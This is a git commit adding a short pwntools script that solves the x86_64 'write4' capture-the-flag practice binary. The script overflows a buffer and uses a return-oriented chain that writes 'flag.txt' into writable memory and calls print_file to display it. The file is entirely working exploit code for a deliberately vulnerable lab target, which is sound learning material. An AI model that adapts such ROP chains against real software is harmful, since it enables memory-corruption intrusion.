From 3f0a1e64c7e7b410ad5f4e2024cd692536389449 Mon Sep 17 00:00:00 2001 From: Brett Weiland Date: Wed, 16 Dec 2020 17:45:09 -0600 Subject: new file: x86_64/write4/exploit.py new file: x86_64/write4/useful_gadgets --- x86_64/write4/exploit.py | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100755 x86_64/write4/exploit.py (limited to 'x86_64/write4/exploit.py') diff --git a/x86_64/write4/exploit.py b/x86_64/write4/exploit.py new file mode 100755 index 0000000..f8b294e --- /dev/null +++ b/x86_64/write4/exploit.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python3 +from pwn import * + +prog = process('./write4') +payload = b'' +for c in range(40): + payload += b'a' + +payload += p64(0x0000000000400690) # pop r14, pop r15, ret +payload += p64(0x0000000000600df0 + 0x00000df0) # addr of init_array section +payload += b"flag.txt" # our string (duh) +payload += p64(0x0000000000400628) # mov qword ptr [r14], r15 ; ret +payload += p64(0x0000000000400693) # pop rdi; ret +payload += p64(0x0000000000600df0 + 0x00000df0) # addr of init_array section +payload += p64(0x0000000000400510) # print_file@plt +payload += b"\n" +prog.sendline(payload) +print(str(prog.recv(), 'UTF-8')) +prog.close() -- cgit v1.2.3